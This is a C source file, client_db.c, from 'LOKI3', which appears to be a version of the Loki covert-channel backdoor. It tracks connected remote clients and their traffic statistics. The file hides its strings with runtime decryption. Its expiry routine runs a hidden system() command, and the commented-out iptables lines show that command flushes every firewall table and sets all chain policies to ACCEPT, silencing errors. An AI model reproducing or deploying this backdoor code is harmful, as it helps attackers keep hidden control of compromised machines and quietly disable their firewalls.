/* * LOKI3 * * [ client_db.c ] * * 1996/7 Guild Corporation Worldwide [daemon9] */ #include "loki.h" #include "shm.h" #include "client_db.h" extern struct loki rdg; extern int verbose; extern int destroy_shm; extern struct client_list *client; extern uint16_t c_id; /* * Obfuscated strings */ extern estring S_MSG_SIGALRM; extern estring S_MSG_EXPIRED_CLIENT; extern estring S_MSG_CLIENT_DB_FULL; extern estring S_CMD_FLUSH_IPTABLES; extern estring S_STAT_VERSION; extern estring S_STAT_INTERFACE; extern estring S_STAT_TRANSPORT; extern estring S_STAT_CRYPTO; extern estring S_STAT_UPTIME; extern estring S_STAT_CLIENT_ID; extern estring S_STAT_PACKETS_WRITTEN; extern estring S_STAT_BYTES_WRITTEN; extern estring S_STAT_REQUESTS; /* * The server maintains an array of active client information. This * function simply steps through the structure array and attempts to add * an entry. */ int add_client(uint8_t *key) { int i = 0, emptyslot = -1; locks(); for (; i < MAX_CLIENT; i++) { /* Check for duplicate entries */ if (IS_GOOD_CLIENT(rdg)) { emptyslot = i; break; } /* tag the first empty slot found */ if ((!(client[i].client_id))) { emptyslot = i; } } if (emptyslot == -1) { /* No empty array slots */ if (verbose) { char *dbuf; dbuf = decrypt(S_MSG_CLIENT_DB_FULL); fprintf(stderr, "%s", dbuf); destroy(dbuf, S_MSG_CLIENT_DB_FULL.size); } ulocks(); return NNOK; } /* Initialize array with client info */ client[emptyslot].touchtime = time((time_t *)NULL); if (emptyslot != i) { client[emptyslot].client_id = c_id; client[emptyslot].client_ip = rdg.iph.ip_src; client[emptyslot].packets_sent = 0; client[emptyslot].bytes_sent = 0; client[emptyslot].hits = 0; } ulocks(); return emptyslot; } /* * Look for a client entry in the client database. Either copy the clients * key into user_key and update timestamp, or clear the array entry, * depending on the disposition of the call. */ int locate_client(int disposition) { locks(); for (int i = 0; i < MAX_CLIENT; i++) { if (IS_GOOD_CLIENT(rdg)) { if (disposition == FIND) { /* update timestamp */ client[i].touchtime = time((time_t *)NULL); } /* Remove entry */ else if (disposition == DESTROY) { bzero(&client[i], sizeof(client[i])); } ulocks(); return i; } } ulocks(); /* Didn't find the client */ return NNOK; } /* * Fill a string with current stats about a particular client. */ int stat_client(int entry, uint8_t *buf, int prot, time_t uptime) { int n = 0; time_t now = 0; struct protoent *proto = 0; char *dbuf; /* locate_client didn't find an entry */ if (entry == NNOK) { #ifdef DEBUG fprintf(stderr, "[DEBUG]\tstat_client nono\n"); #endif /* DEBUG */ return NOK; } dbuf = decrypt(S_STAT_VERSION); n = sprintf((char *)buf, dbuf, VERSION); destroy(dbuf, S_STAT_VERSION.size); dbuf = decrypt(S_STAT_INTERFACE); n += sprintf((char *)&buf[n], dbuf, host_lookup(rdg.iph.ip_dst)); destroy(dbuf, S_STAT_INTERFACE.size); proto = getprotobynumber(prot); dbuf = decrypt(S_STAT_TRANSPORT); n += sprintf((char *)&buf[n], dbuf, proto -> p_name); destroy(dbuf, S_STAT_TRANSPORT.size); dbuf = decrypt(S_STAT_CRYPTO); n += sprintf((char *)&buf[n], dbuf, CRYPTO_TYPE); destroy(dbuf, S_STAT_CRYPTO.size); time(&now); dbuf = decrypt(S_STAT_UPTIME); n += sprintf((char *)&buf[n], dbuf, difftime(now, uptime) / 0x3c); destroy(dbuf, S_STAT_UPTIME.size); locks(); dbuf = decrypt(S_STAT_CLIENT_ID); n += sprintf((char *)&buf[n], dbuf, client[entry].client_id); destroy(dbuf, S_STAT_CLIENT_ID.size); dbuf = decrypt(S_STAT_PACKETS_WRITTEN); n += sprintf((char *)&buf[n], dbuf, client[entry].packets_sent); destroy(dbuf, S_STAT_PACKETS_WRITTEN.size); dbuf = decrypt(S_STAT_BYTES_WRITTEN); n += sprintf((char *)&buf[n], dbuf, client[entry].bytes_sent); destroy(dbuf, S_STAT_BYTES_WRITTEN.size); dbuf = decrypt(S_STAT_REQUESTS); n += sprintf((char *)&buf[n], dbuf, client[entry].hits); destroy(dbuf, S_STAT_REQUESTS.size); ulocks(); return n; } /* * Unsets alarm timer, then calls age_client, then resets signal handler * and alarm timer. */ void client_expiry_check() { alarm(0); age_client(); #ifdef FLUSH_IPTABLES /* Flush iptables */ #ifdef DEBUG fprintf(stderr, "[DEBUG]\tflushing iptables\n"); #endif /* DEBUG */ char *dbuf; dbuf = decrypt(S_CMD_FLUSH_IPTABLES); system(dbuf); destroy(dbuf, S_CMD_FLUSH_IPTABLES.size); /* system("PATH=/sbin:/usr/sbin iptables -X 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -F 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null"); */ /* system("PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); */ #endif /* FLUSH_IPTABLES */ /* re-establish signal handler */ if (signal(SIGALRM, client_expiry_check) == SIG_ERR) { err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM)); } alarm(KEY_TIMER); } /* * This function is called every KEY_TIMER interval to sweep through the * client list. It zeros any entrys it finds that have not been accessed * in KEY_TIMER seconds. This gives us a way to free up entries from clients * which may have crashed or lost their QUIT_C packet in transit. */ void age_client() { time_t timestamp = 0; time(×tamp); locks(); for (int i = 0; i < MAX_CLIENT; i++) { if (client[i].client_id) { if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) { if (verbose) { char *dbuf; dbuf = decrypt(S_MSG_EXPIRED_CLIENT); fprintf(stderr, dbuf, client[i].client_id, i); destroy(dbuf, S_MSG_EXPIRED_CLIENT.size); } bzero(&client[i], sizeof(client[i])); } } } ulocks(); } /* * Update the statistics for client. */ void update_client(int entry, int pcount, uint32_t bcount) { locks(); client[entry].touchtime = time((time_t *)NULL); client[entry].packets_sent += pcount; client[entry].bytes_sent += bcount; client[entry].hits ++; ulocks(); } /* * Returns the IP address and ID of the targeted entry */ uint32_t check_client_ip(int entry, uint16_t *id) { uint32_t ip = 0; locks(); if ((*id = (client[entry].client_id))) { ip = client[entry].client_ip; } ulocks(); return ip; } /* EOF */